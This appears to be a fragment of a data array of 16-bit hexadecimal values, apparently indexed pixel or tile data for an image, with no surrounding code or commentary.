0x6666,0x6766,0x6767,0x5656,0x8181,0x2945,0x6629,0x6735,
0x7B7B,0x8160,0x4581,0x6629,0x7F7F,0x7B57,0x187B,0x4581,
0x8484,0xA64E,0x577F,0x1860,0x4747,0x1B94,0xA684,0x7B7F,
0x6B10,0x186A,0x1045,0x206B,0x6A6A,0x106B,0x8181,0x6B6A,
0x6A6A,0x6B6A,0x1810,0x1081,0x5656,0x6A6A,0x6A6B,0x4543,
0x6735,0x6A56,0x6B6A,0x4335,0x6629,0x5667,0x6A56,0x456B,
0x2981,0x3566,0x6A56,0x6A6B,0x8160,0x6629,0x6A67,0x6B6A,
0x2020,0x6B20,0x2020,0x9999,0x2020,0x206B,0x2020,0x2020,
0x6B6B,0x2020,0x2020,0x2020,0x2010,0x2020,0x2020,0x2020,
0x6B67,0x2020,0x2020,0x2020,0x6A81,0x2020,0x206B,0x2020,
0x6643,0x206B,0x6B6B,0x6B6B,0x1845,0x6B6A,0xB56B,0xB5B5,
0x2099,0x9920,0x9999,0x9999,0x2020,0x2020,0x9920,0x9999,
0x2020,0x2020,0x2020,0x9999,0x2020,0x2020,0x2020,0x2020,
0x2020,0x2020,0x6B6B,0x6B6B,0x6B6B,0x106B,0xB510,0x6B10,
0xB510,0xB5B5,0xB5B5,0x6BB5,0xB5B5,0xB5B5,0x6BB5,0x6B6B,
0xA0A0,0x01A0,0x7101,0x0101,0x9999,0xA0A0,0xA0A0,0xA0A0,
0x9999,0x9999,0x9999,0x9999,0x2020,0x2020,0x2020,0x9999,
0x6B6B,0x2020,0x2020,0xA099,0x6B6B,0x2020,0x9999,0xA099,
0x206B,0x9920,0x9999,0x9999,0x2020,0x2020,0x9920,0x9999,
0x7171,0xA071,0xA0A0,0xA0A0,0xA0A0,0xA0A0,0xA0A0,0xA0A0,
0xA0A0,0x9999,0xA0A0,0xA0A0,0x9999,0xA0A0,0x71A0,0x7171,
0xA0A0,0xA0A0,0xA0A0,0xA0A0,0xA0A0,0xA0A0,0xA0A0,0xA0A0,
0xA0A0,0xA0A0,0xA0A0,0xA0A0,0x9999,0x9999,0x9999,0x9999,
0xA0A0,0xA0A0,0x71A0,0x7171,0xA0A0,0x71A0,0x7171,0x7171,
0x7171,0x7171,0x7171,0x7171,0xA0A0,0xA0A0,0xA0A0,0xA0A0,
0xA0A0,0xA0A0,0xA0A0,0xA0A0,0xA0A0,0xA0A0,0xA0A0,0xA0A0,
0xA0A0,0xA0A0,0xA0A0,0xA0A0,0x9999,0x9999,0x9999,0x9999,
0x7171,0x7171,0x7171,0x7171,0x7171,0x7171,0x7171,0x7171,
0x7171,0x7171,0x7171,0x7171,0xA0A0,0xA0A0,0xA0A0,0xA0A0,
0xA0A0,0xA0A0,0xA0A0,0xA0A0,0xA0A0,0xA0A0,0xA0A0,0xA0A0,
0xA0A0,0xA0A0,0xA0A0,0xA0A0,0x9999,0x9999,0x9999,0x9999,
0x7171,0x7171,0x7171,0x7171,0x7171,0x7171,0x7171,0xA071,
0xA071,0xA0A0,0xA0A0,0x3636,0xA0A0,0xA0A0,0xA0A0,0x3636,
0xA0A0,0xA0A0,0x3699,0x4136,0xA0A0,0x99A0,0x4136,0x4141,
0x99A0,0x9999,0x4141,0xF0F0,0x9999,0x4199,0xF041,0x3EF0,
0x3636,0x3636,0x3636,0x3636,0x3636,0x3636,0x3636,0x3636,
0x3636,0x3636,0x3636,0x3636,0x3636,0x4141,0x4141,0x4141,
0x4141,0xF0F0,0xF0F0,0xF0F0,0xF0F0,0xBEF0,0xBEBE,0xBEBE,
0x3EF0,0xBEBE,0xBEBE,0xBEBE,0x3E3E,0x3E3E,0xBEBE,0xBEBE,
0x3636,0x3636,0x3636,0x3636,0x3636,0x3636,0x3636,0x3636,
0x3636,0x3636,0x3636,0x3636,0x4141,0x4141,0x4141,0x3641,
0xF0F0,0xF0F0,0xF0F0,0x41F0,0xBEBE,0xBEBE,0xBEBE,0xF0BE,
0xBEBE,0xBEBE,0xBEBE,0xBEBE,0xBEBE,0xBEBE,0xBEBE,0xBEBE,
0x3636,0x3636,0x3636,0x3636,0x3636,0x3636,0x3636,0x3636,
0x3636,0x3636,0x3636,0x3636,0x3636,0x3636,0x3636,0x3636,
0x4141,0x4141,0x3641,0x3636,0xF0F0,0xF0F0,0x4141,0x3641,
0xBEBE,0xF0F0,0xF0F0,0x4141,0xBEBE,0x3E3E,0xF03E,0xF0F0,
0x3636,0x3636,0x3636,0x3636,0x3636,0x3636,0x3636,0x3636,
0x3636,0x3636,0x3636,0x3636,0x3636,0x3636,0x3636,0x3636,
0x3636,0x3636,0x3636,0x3636,0x4136,0x4141,0x4141,0x4141,
0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,
0x3636,0x3636,0x3636,0x3636,0x3636,0x3636,0x3636,0x3636,
0x3636,0x3636,0x3636,0x3636,0x3636,0x3636,0x3636,0x3636,
0x3636,0x3636,0x3636,0x3636,0x4141,0x4141,0x4141,0x4141,
0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,
0xFFFF,0xFFFF,0xFFFF,0xFFFF,0xFFFF,0xFFFF,0x3737,0xFF37,
0x3737,0x3737,0x3737,0x3737,0x3737,0x3737,0x3737,0x3737,
0xF2F2,0xF2F2,0xF2F2,0x37F2,0xF2F2,0xF2F2,0xF2F2,0x37F2,
0xF2F2,0x4242,0xF242,0x37F2,0x4242,0x4242,0xF242,0x37F2,
0xB53E,0xD4D4,0x6B6B,0xD46B,0xB5FF,0xD4B5,0xD4D4,0xD4D4,
0xABFF,0xB5B5,0xD4D4,0xD4D4,0xABFF,0xB5B5,0xB5B5,0xB5B5,
0xAB37,0xB5AB,0xB5B5,0xB5B5,0xAB37,0xB5AB,0xB5B5,0xB5B5,
0x56A8,0xABAB,0xABAB,0xABAB,0x5637,0xABAB,0xABAB,0xABAB,
0xD4D4,0xD4D4,0xD4D4,0xD4D4,0xD4D4,0xD4D4,0xD4D4,0xD4D4,
0xD4D4,0xD4D4,0xD4D4,0xD4D4,0xB5B5,0xB5B5,0xB5B5,0xB5B5,
0xB5B5,0xB5B5,0xB5B5,0xB5B5,0xABAB,0xB5B5,0xABAB,0xB5AB,
0xABAB,0xABAB,0xABAB,0xB5AB,0xABAB,0xABAB,0xABAB,0xABAB,
0xD4D4,0xA1D4,0x2020,0x2020,0xD4D4,0xD4D4,0x206B,0x2020,
0xD4D4,0xD4D4,0x6B6B,0x2020,0xB5B5,0xD4D4,0x6B6B,0x206B,
0xB5B5,0x6BB5,0x6B6B,0x6B6B,0xB5B5,0x10B5,0x6B6B,0x6B6B,
0xB5B5,0x10B5,0x6B10,0x6B6B,0xB5B5,0x10B5,0x6B10,0x6B6B,
0x4920,0x4949,0x4949,0x4949,0x2020,0x4949,0x4949,0x4949,
0x2020,0x4920,0x4949,0x4949,0x2020,0x2020,0x2020,0x2049,
0x2020,0x2020,0x2020,0x2020,0x2020,0x2020,0x2020,0x2020,
0x206B,0x2020,0x2020,0x2020,0x2020,0x2049,0x2020,0x4949,
0x4949,0x4949,0x4949,0x4949,0x4949,0x4949,0x4949,0x4949,
0x4949,0x4949,0x4949,0x4949,0x2020,0x2020,0x2020,0x0149,
0x2020,0x2020,0x4920,0xAB6B,0x2020,0x2020,0x1049,0x1829,
0x2020,0x4920,0x296B,0x5760,0x6B20,0x2020,0x6035,0xA657,
0x4949,0x2020,0x2020,0x6749,0x2049,0x2020,0x2020,0x816B,
0x2049,0x2020,0x496B,0x5756,0x2049,0x2049,0x206B,0xA666,
0x3535,0x1067,0x2049,0x8481,0x7B60,0x607B,0x4967,0x9481,
0xA67F,0x4E4E,0x67A6,0x4745,0x1B4E,0x1B1B,0x7F94,0x9481,
0xA657,0x9484,0xA347,0x1111,0x84A6,0xA394,0x1111,0x4611,
0x9484,0x11A3,0x4611,0x1446,0xA31B,0x1111,0x1446,0x6ECE,
0x1147,0x1411,0x6ECE,0x6E6E,0x11A3,0x6E14,0x6E6E,0x6E6E,
0x4611,0x6ECE,0x6E6E,0x6E6E,0xCE11,0x6E6E,0x6E6E,0x6E6E,
0x1111,0x1111,0x1111,0x4646,0x4646,0x4646,0x1446,0x14CE,
0xCECE,0xCECE,0x6ECE,0xCE6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x1111,0x47A3,0x8494,0x1860,0x1146,0x1111,0xA311,0x7B84,
0x1414,0x4646,0x1111,0x4E11,0x6E6E,0xCE6E,0x4614,0xA346,
0x6E6E,0x6E6E,0x6E6E,0xEACE,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0xA96E,0x55A9,0x6E6E,0x6E6E,0x6E6E,0x55A9,
0xA657,0x9484,0x7CA3,0xF7F7,0x847F,0xA394,0xEA7C,0x1FCE,
0x1B7F,0x7C47,0x1FED,0x8686,0x1B4E,0xEAA3,0x861F,0x5555,
0x9494,0xCE7C,0x5555,0x5555,0x477C,0x86EA,0x5555,0x5555,
0x7CEA,0x5586,0x5555,0x5555,0xEACB,0x5586,0x5555,0x5555,
0xF7F7,0x477C,0x1B94,0x7F4E,0x1F1F,0xF7ED,0x477C,0x4E1B,
0x5555,0x1F86,0x7CEA,0x1B47,0x5555,0x8655,0xF7CE,0x94A3,
0x5555,0x5555,0xED86,0xA3F7,0x5555,0x5555,0x8686,0xEACE,
0x5555,0x5555,0x5555,0xCE86,0x5555,0x5555,0x5555,0xCE86,
0x6057,0x6645,0x5635,0x106A,0x7B7F,0x2981,0x6766,0x5656,
0x57A6,0x8160,0x6629,0x5667,0x7F84,0x187B,0x6645,0x5667,
0xA61B,0x187B,0x6645,0x6735,0x1B7C,0x187F,0x2945,0x6735,
0xA3EA,0x571B,0x3529,0x6767,0xF7EA,0x8447,0x6660,0x6767,
0x4367,0xB535,0xB5B5,0xB5B5,0x4356,0xAB45,0xB5B5,0xB5B5,
0x456A,0xAB18,0x6B6B,0xB510,0x6610,0x5618,0xB5B5,0xABAB,
0x6656,0x3543,0xABAB,0xABAB,0x3556,0x3543,0xB5AB,0xB5B5,
0x356A,0x3543,0xB5AB,0xABAB,0x3556,0x3543,0xB5AB,0xABAB,
0xB5B5,0x6BD4,0x6B6B,0x6B6B,0x6B6B,0xB56B,0xB5B5,0xD4B5,
0xB5B5,0xB5B5,0xB5B5,0xB5B5,0xABAB,0xABAB,0xABAB,0xB5B5,
0xABAB,0xABAB,0xABAB,0xB5B5,0xB5B5,0xB5B5,0xABB5,0xB5B5,
0xABAB,0xABAB,0xABAB,0xABAB,0xABAB,0xABAB,0xABAB,0xABAB,
0x6B6B,0x2020,0x2020,0x9920,0x6B6B,0x206B,0x2020,0x2020,
0xD4D4,0x6B6B,0x2020,0x2020,0xD4B5,0xD4D4,0x6B6B,0x2020,
0xB5B5,0xD4B5,0x6BD4,0x6B6B,0xB5B5,0xD4B5,0xD4D4,0x6BD4,
0xB5B5,0xB5B5,0xD4B5,0xD4D4,0xB5AB,0xB5B5,0xD4B5,0xD4D4,
0x9999,0x9999,0x9999,0x9999,0x9999,0x9999,0x9999,0x9999,
0x9999,0x9999,0x9999,0x9999,0x9920,0xA1A1,0xA1A1,0xA1A1,
0x2020,0x2020,0x2020,0xA1A1,0xA1A1,0xA1A1,0xA1A1,0xA1A1,
0xA1D4,0xA1A1,0xA1A1,0xA1A1,0xD4D4,0xD4D4,0xD4D4,0xD4D4,
0x9999,0x9999,0x9999,0x9999,0x9999,0x9999,0x9999,0x9999,
0x9999,0x9999,0x9999,0x9999,0xA1A1,0xA1A1,0xA1A1,0xA1A1,
0xA120,0xA1A1,0xA1A1,0xA1A1,0xA1A1,0xA1A1,0xA1A1,0xA1A1,
0xA1A1,0xA1A1,0xA1A1,0xA1A1,0xD4D4,0xD4D4,0xD4D4,0xD4D4,
0x9999,0x9999,0x9999,0x9999,0x9999,0x9999,0x9999,0x9999,
0x9999,0x9999,0x9999,0x9999,0xA1A1,0xA1A1,0xA1A1,0xA1A1,
0xA1A1,0xA1A1,0xA1A1,0xA1A1,0xA1A1,0xA1A1,0xA1A1,0xA1A1,
0xA1A1,0xA1A1,0xA1A1,0xA1A1,0xD4D4,0xD4D4,0xD4D4,0xD4D4,
0x9999,0x9999,0x9999,0x9999,0x9999,0x9999,0x9999,0xA199,
0x9999,0x9999,0x9999,0xA1A1,0xA1A1,0xA1A1,0xA1A1,0xA1A1,
0xA1A1,0xA1A1,0xA1A1,0xF0A1,0xA1A1,0xA1A1,0xA1A1,0xF0D4,
0xA1A1,0xA1A1,0xD4A1,0xE2F0,0xD4D4,0xA1D4,0xD4D4,0xE2E2,
0xA199,0x41A1,0xF0F0,0x3E3E,0xA1A1,0xF041,0x3EF0,0x3E3E,
0xF0A1,0xF0F0,0x3E3E,0xFF3E,0xF0F0,0x3EF0,0xE23E,0xFF3E,
0xE2F0,0x3EE2,0x3E3E,0xFFFF,0xE2E2,0x3EE2,0x3E3E,0xFFFF,
0xE2E2,0xFFFF,0xFFFF,0xFFFF,0xFFE2,0xFFFF,0xFFFF,0xFFFF,
0x3E3E,0xFFFF,0xBEFF,0xBEBE,0xFF3E,0xFFFF,0x9EFF,0x9E9E,
0xFFFF,0xFFFF,0x37FF,0x9E9E,0xFFFF,0xFFFF,0x3737,0x9E9E,
0xFFFF,0x37FF,0x3737,0x9E9E,0xFFFF,0x3737,0x3737,0x9E9E,
0xFFFF,0x3737,0x3737,0x9EF2,0x37FF,0x3737,0x3737,0x9EF2,
0xBEBE,0xBEBE,0xBEBE,0xBEBE,0x9E9E,0x9E9E,0x9E9E,0x9E9E,
0x9E9E,0x9E9E,0x9E9E,0x9E9E,0x9E9E,0x9E9E,0x9E9E,0x9E9E,
0x9E9E,0x9E9E,0x9E9E,0x9E9E,0x9E9E,0x9E9E,0x9E9E,0x9E9E,
0x9E9E,0x9E9E,0x9E9E,0x9E9E,0x9E9E,0x9E9E,0xD5D5,0xD5D5,
0xBEBE,0xFFBE,0x3EFF,0x3E3E,0x9E9E,0x9E9E,0xFFFF,0x3EFF,
0x9E9E,0x9E9E,0x9E9E,0xFFFF,0x9E9E,0x9E9E,0x9E9E,0xFF9E,
0x9E9E,0x9E9E,0x9E9E,0x379E,0x9E9E,0x9E9E,0x9E9E,0x9E9E,
0x9E9E,0x9E9E,0x9E9E,0x9E9E,0xD5D5,0xD5D5,0xD5D5,0x9ED5,
0xF0F0,0xF0F0,0xF0F0,0xF0F0,0xF03E,0xF0F0,0xF0F0,0xF0F0,
0x3E3E,0xF0F0,0xF0F0,0xF0F0,0xFFFF,0x3E3E,0x3E3E,0x3E3E,
0xFFFF,0x3EFF,0xE2E2,0xE2E2,0x3737,0xFFFF,0x3E3E,0x3E3E,
0x379E,0xFF37,0xFFFF,0xFFFF,0xF29E,0x3737,0xFFFF,0xFFFF,
0xF0F0,0xF0F0,0xF0F0,0xF0F0,0xF0F0,0xF0F0,0xF0F0,0xF0F0,
0xF0F0,0xF0F0,0xF0F0,0xF0F0,0x3E3E,0x3E3E,0x3E3E,0x3E3E,
0xE2E2,0xE2E2,0xE2E2,0xE2E2,0x3E3E,0x3E3E,0x3E3E,0xFF3E,
0xFFFF,0xFFFF,0xFFFF,0xFFFF,0xFFFF,0xFFFF,0xFFFF,0xFFFF,
0x4242,0x4242,0xF242,0xF2F2,0x4242,0x4242,0xF242,0xACF2,
0x4242,0x4242,0xF242,0xACF2,0x4242,0x4242,0xF242,0xA8AC,
0x4242,0x4242,0xACFA,0xACAC,0x4242,0xFAFA,0xACAC,0xACAC,
0xFAFA,0xACFA,0xACAC,0x6767,0xACAC,0x6767,0x6767,0x6767,
0x56A8,0xABAB,0xABAB,0xABAB,0x56A8,0x5656,0x5656,0x5656,
0x5656,0x5656,0x5656,0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,
0xACAC,0xACAC,0xA8AC,0x5656,0xACAC,0x67AC,0x5656,0x5656,
0x6767,0x6767,0x5656,0x5656,0x6767,0x5656,0x5656,0x5656,
0xABAB,0xABAB,0xABAB,0xABAB,0x5656,0x5656,0xABAB,0xABAB,
0x56A8,0x5656,0xABAB,0xABAB,0x5656,0x5656,0xABAB,0xABAB,
0x5656,0xAB56,0xABAB,0xABAB,0xAB56,0xB5B5,0xB5AB,0x1010,
0x56AB,0xDF66,0x8181,0x4581,0x2967,0x5760,0xA67F,0x4EA6,
0xB5AB,0x1010,0x1010,0x206B,0xB5AB,0x1010,0x6B10,0x106B,
0x10AB,0x1010,0x6B10,0x6610,0xB5AB,0x1010,0x106B,0x8135,
0x6AAB,0x1010,0x566B,0x1845,0x6B6B,0x106B,0x3510,0x6045,
0x6766,0x496A,0x6720,0x7B81,0x4E4E,0x7BA6,0x6629,0x6045,
0x1020,0x3567,0x6666,0x5635,0x8167,0x7B60,0x5757,0x5757,
0x7B18,0xA67F,0x4E4E,0x8484,0x7F7B,0x844E,0x941B,0x4794,
0xA657,0x9484,0xA347,0x1111,0x4E7F,0x471B,0x1111,0x4611,
0x84A6,0xA394,0x4611,0x1446,0x847F,0xA394,0x4611,0xCE14,
0x496B,0x1049,0x5745,0x84A6,0x6718,0x6B01,0x7F60,0x1B4E,
0x4E84,0x1081,0x4E18,0x941B,0x9494,0x7B94,0x4E81,0x4794,
0x1111,0xA3A3,0xA64E,0xA394,0x4646,0x4646,0x1B11,0x111B,
0xCECE,0xCECE,0x46CE,0xA347,0x6E6E,0x6E6E,0xA96E,0x11CE,
0x941B,0xA347,0x47A3,0x847F,0xA347,0x1111,0x1111,0x1B94,
0x11A3,0x4611,0x4646,0x4711,0x1111,0x1446,0x6ECE,0x116E,
0x4611,0x6E14,0x6E6E,0x6E6E,0x1446,0x6ECE,0x6E6E,0x6E6E,
0xCE46,0x6E6E,0x6E6E,0x6E6E,0xCE46,0x6E6E,0x6E6E,0x6E6E,
0x6E46,0x6E6E,0x6E6E,0x6E6E,0x6E46,0x6E6E,0x6E6E,0x6E6E,
0x6E11,0x6E6E,0x6E6E,0x6E6E,0x6E11,0x6E6E,0x6E6E,0x6E6E,
0x1446,0x6E6E,0x6E6E,0x6E6E,0x14CE,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6EA9,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0xA96E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0xCECE,0x6ECE,
0x6E6E,0x6E6E,0x6E6E,0x55A9,0x6E6E,0x6E6E,0x6E6E,0x55A9,
0x6E6E,0x6E6E,0x6E6E,0xA96E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0xCE14,0x6ECE,0x6E6E,
0xCE55,0x5586,0x5555,0x5555,0x8655,0x5555,0x5555,0x5555,
0x5555,0x5555,0x5555,0x5555,0x55A9,0x5555,0x5555,0x5555,
0xA9A9,0x5555,0x5555,0x5555,0xA96E,0xA9A9,0x5555,0x5555,
0x6EA9,0xA9A9,0x55A9,0x5555,0x6E6E,0x6E6E,0x6E6E,0x6EA9,
0x5555,0x5555,0x5555,0xCB86,0x5555,0x5555,0x5555,0xCB86,
0x5555,0x5555,0x5555,0x6E55,0x5555,0x5555,0x5555,0x6E55,
0x5555,0x5555,0x5555,0x6E55,0x5555,0x5555,0x5555,0x6EA9,
0x5555,0x5555,0xA955,0x6EA9,0xA986,0x6EA9,0x6E6E,0x6E6E,
0xF7CE,0x4711,0x184E,0x3535,0xEACE,0xA311,0xA694,0x5666,
0xEACE,0x1111,0x94A3,0x5660,0xCE6E,0x1146,0xA311,0x661B,
0xCE6E,0x1146,0xA311,0x5711,0x6E6E,0x46CE,0x1111,0x47A3,
0x6E6E,0xCE6E,0x1146,0x1111,0x6E6E,0x14CE,0x4646,0x1111,
0x2967,0x3543,0xABAB,0xABAB,0x4556,0x3543,0xAB56,0xABAB,
0x816A,0x6718,0xABAB,0x5656,0x43AB,0x5645,0x56AB,0x5656,
0x4335,0x5666,0x5656,0x5656,0x297F,0xAB56,0xABAB,0xA856,
0x81A6,0xD67F,0x66DF,0x5656,0x4794,0x8447,0x7BA6,0xACDF,
0xABAB,0xABAB,0xABAB,0xABAB,0xABAB,0x56AB,0xAB56,0xABAB,
0x5656,0x5656,0x5656,0xAB56,0x5656,0x5656,0x5656,0x5656,
0x5656,0x5656,0x5656,0x5656,0xA8A8,0x5656,0xA856,0x5656,
0x67A8,0xACAC,0xACAC,0xA856,0xAC56,0xACAC,0xACAC,0xA867,
0xABAB,0xB5B5,0xB5B5,0xD4B5,0xABAB,0xB5AB,0xB5B5,0xB5B5,
0xABAB,0xABAB,0xB5B5,0xB5B5,0xAB56,0xABAB,0xB5AB,0xB5B5,
0x5656,0xABAB,0xABAB,0xB5AB,0x5656,0xAB56,0xABAB,0xB5AB,
0x5656,0xAB56,0xABAB,0xABAB,0x56A8,0xA856,0xABAB,0xABAB,
0xD4D4,0xD4D4,0xD4D4,0xD4D4,0xD4D4,0xD4D4,0xD4D4,0xD4D4,
0xD4D4,0xD4D4,0xD4D4,0xD4D4,0xB5B5,0xB5B5,0xB5B5,0xB5B5,
0xB5B5,0xB5B5,0xB5B5,0xB5B5,0xB5B5,0xB5B5,0xB5B5,0xB5B5,
0xB5B5,0xB5B5,0xB5B5,0xB5B5,0xABB5,0xABAB,0xABAB,0xABAB,
0xD4D4,0xD4D4,0xD4D4,0xD4D4,0xD4D4,0xD4D4,0xD4D4,0xD4D4,
0xD4D4,0xD4D4,0xD4D4,0xD4D4,0xB5B5,0xB5B5,0xB5B5,0xB5B5,
0xB5B5,0xB5B5,0xB5B5,0xB5B5,0xB5B5,0xB5B5,0xB5B5,0xB5B5,
0xB5B5,0xB5B5,0xB5B5,0xB5B5,0xABAB,0xABAB,0xABAB,0xABAB,
0xD4D4,0xD4D4,0xE2D4,0xE2E2,0xD4D4,0xD4D4,0xE2D4,0xD7E2,
0xD4D4,0xD4D4,0xE2B5,0xD7D7,0xB5B5,0xB5B5,0xE2B5,0xD7D7,
0xB5B5,0xB5B5,0xD7B5,0xA8D7,0xB5B5,0xB5B5,0xD7E2,0xA8D7,
0xB5B5,0xB5B5,0xD7D7,0xA8D7,0xABAB,0xB5AB,0xD7AB,0xA8A8,
0xFFD7,0xFFFF,0xFFFF,0xFFFF,0x37D7,0x3737,0x3737,0x3737,
0x37A8,0x3737,0x3737,0x3737,0x37A8,0x3737,0x3737,0x3737,
0xF2A8,0x3737,0x3737,0x3737,0xF2A8,0xF2F2,0xF2F2,0xF2F2,
0xF2A8,0xF2F2,0xF2F2,0xF2F2,0xACAC,0xF2F2,0xF2F2,0xF2F2,
0x37FF,0x3737,0xF237,0xF2F2,0x3737,0x3737,0xF237,0xF2F2,
0x3737,0x3737,0xF237,0xF2F2,0x3737,0x3737,0xF2F2,0xF2F2,
0x3737,0x3737,0xF237,0xF2F2,0xF2F2,0xF2F2,0xF2F2,0xF2F2,
0xF2F2,0xF2F2,0xF2F2,0xACAC,0xF2F2,0xF2F2,0xF2F2,0xF2F2,
0x9E9E,0xD59E,0xD5D5,0xD5D5,0xF2F2,0xD59E,0xD5D5,0xD5D5,
0xF2F2,0xD5D5,0xD5D5,0xD5D5,0xF2F2,0x4242,0xD542,0xD5D5,
0xF2F2,0x4242,0xD542,0xD5D5,0x42F2,0x4242,0x4242,0xD5D5,
0xF2F2,0x4242,0x4242,0x4242,0xF2F2,0x4242,0x4242,0x4242,
0xD5D5,0xD5D5,0xD5D5,0xD5D5,0xD5D5,0xD5D5,0xD5D5,0xD5D5,
0xD5D5,0xD5D5,0xD5D5,0xD5D5,0xD5D5,0xD5D5,0xD5D5,0xD5D5,
0xD5D5,0xD5D5,0xD5D5,0xD5D5,0xD5D5,0xD5D5,0xD5D5,0xD5D5,
0xD542,0xD5D5,0xD5D5,0xD5D5,0x4242,0xD542,0xD5D5,0x42D5,
0x9E9E,0x3737,0xFFFF,0xFFFF,0x9ED5,0x37F2,0x3737,0x3737,
0xD5D5,0xF2F2,0xA837,0x3737,0x42D5,0xF2F2,0xA837,0xA8A8,
0x42D5,0xACF2,0xA8A8,0xA8A8,0x4242,0xACF2,0xA8A8,0xA8A8,
0xF242,0xA8AC,0xA8A8,0xA8A8,0xF242,0xA8AC,0xA8A8,0xA8A8,
0xFFFF,0xFFFF,0xD7FF,0xD7FF,0x3737,0xD737,0xD7D7,0xD7D7,
0x3737,0xD7A8,0xD7D7,0xD7D7,0xA8A8,0xA8A8,0xD7D7,0xD7D7,
0xA8A8,0xD7D7,0xD7D7,0xD7D7,0xA8A8,0xD7A8,0xD7D7,0xD7D7,
0xD7A8,0xD7D7,0xD7D7,0xD7D7,0xA8A8,0xD7D7,0xD7D7,0xD7D7,
0x6767,0x6767,0x6767,0x6767,0x6767,0x6767,0x6767,0x6767,
0x6767,0x6767,0x6767,0x6767,0x5656,0x6756,0x6767,0x6767,
0x5656,0x5656,0x6767,0x5667,0x5656,0x5656,0x5656,0x5656,
0x5656,0x5656,0x5656,0x6756,0x6756,0x6767,0x6767,0x6767,
0x5667,0x5656,0x5656,0xFA56,0x6767,0x5667,0x5656,0x4535,
0x6767,0x5656,0x6756,0x8129,0x5656,0x5656,0x5656,0x8129,
0x5656,0x5656,0x5656,0x4567,0x5656,0x5656,0x5656,0x6756,
0x5656,0x6756,0x6767,0x5667,0x6767,0x6767,0x6767,0x6767,
0x8145,0x7B18,0xA657,0x844E,0x6081,0x577B,0x4EA6,0x1B84,
0x7B60,0x7F57,0x4EA6,0x1B84,0x7B18,0x7F57,0x4EA6,0x1B84,
0x6018,0x7F57,0xA6A6,0x4E4E,0x4566,0x1881,0x6018,0x7B60,
0x5656,0x5656,0x6767,0x3567,0x6767,0x5656,0x5656,0x5656,
0x941B,0x11A3,0xA311,0x4747,0x4794,0xA347,0x1111,0x1446,
0x4794,0xA347,0x11A3,0x1111,0x941B,0x9494,0x9494,0x4747,
0x4E4E,0x4E4E,0x8484,0x8484,0x7B7B,0x5757,0x7F57,0x7F7F,
0x66BB,0x2966,0x4529,0xDFDF,0x6756,0x5667,0x5656,0x5656,
0x11A3,0x4646,0xCE14,0xCECE,0x14CE,0x1414,0x1414,0x4646,
0x1111,0x1111,0x1111,0x1111,0x4747,0x4747,0x4747,0x4747,
0x8484,0x1B84,0x1B1B,0x1B1B,0xA67F,0xA6A6,0xA6A6,0xA6A6,
0xDFDF,0x8181,0x1818,0x6018,0x6767,0x6767,0x6767,0xFA67,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x4646,0x4646,0x4646,0x4646,
0x1111,0x1111,0x1111,0x1111,0x4747,0xA3A3,0xA3A3,0xA3A3,
0x941B,0x9494,0x4747,0x9494,0x844E,0x8484,0x8484,0x8484,
0x577B,0x7B7B,0x5757,0x5757,0x9FC0,0x9F42,0x9F9F,0x9F9F,
0x6ECE,0x6E6E,0x6E6E,0x6E6E,0xCE14,0x6EA9,0x46CE,0x4646,
0x1111,0x4646,0x1111,0x1111,0xA3A3,0x4747,0xA347,0xA3A3,
0x9494,0x1B1B,0x1B1B,0x1B1B,0x8484,0x4E84,0xA6A6,0x4E4E,
0x5757,0x7B57,0x607B,0x6060,0x9F9F,0x9F9F,0xBB66,0xBBAC,
0x6E6E,0x6E6E,0x6E6E,0xCECE,0x4646,0x4646,0x4646,0x4646,
0x1111,0x1111,0x1111,0x1111,0xA3A3,0xA3A3,0xA3A3,0x47A3,
0x1B1B,0x1B1B,0x9494,0x1B1B,0x4E4E,0x4E4E,0x4E4E,0xA64E,
0xD6D6,0x6060,0x6060,0x6060,0xBBBB,0xBBBB,0xBBBB,0x2966,
0xCECE,0x46CE,0x4646,0x4646,0x1146,0x1111,0x1111,0x1111,
0xA311,0xA3A3,0xA3A3,0xA3A3,0x4747,0x9494,0x4794,0x9447,
0x841B,0x1B84,0x1B1B,0x1B84,0xA6A6,0x4E4E,0xA64E,0xA6A6,
0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xC7C7,0xC729,0xDFDF,0xDFDF,
0xCECE,0x4646,0x4646,0xCECE,0x4611,0x1146,0x1111,0x1111,
0x11A3,0x1146,0xA3A3,0xA3A3,0x4794,0x11A3,0x94A3,0x9494,
0x1B1B,0x941B,0xA3A3,0x841B,0xA64E,0xA6A6,0x9484,0x8447,
0x18D6,0xB9B9,0x6018,0x4E57,0xDFC7,0xDFDF,0xDFDF,0x1881,
0xCECE,0xCECE,0xCE6E,0x6E6E,0x4611,0x4646,0x4646,0x46EA,
0x11A3,0x1111,0x1111,0x1111,0x4747,0x4747,0x4747,0x4747,
0x8484,0x8484,0x8484,0x841B,0x5757,0x5757,0x7B7B,0x7B57,
0x7BA6,0x29DF,0x2966,0x6629,0x7F57,0x7B23,0x8118,0x2945,
0x6E6E,0xCE6E,0xCECE,0xCECE,0xEA46,0xEAEA,0x1146,0x1111,
0x1111,0x1111,0xA311,0xA3A3,0x4747,0x4747,0x9447,0x1B94,
0x8484,0x8484,0x4E84,0xA6A6,0x7B60,0x1860,0x1818,0x2945,
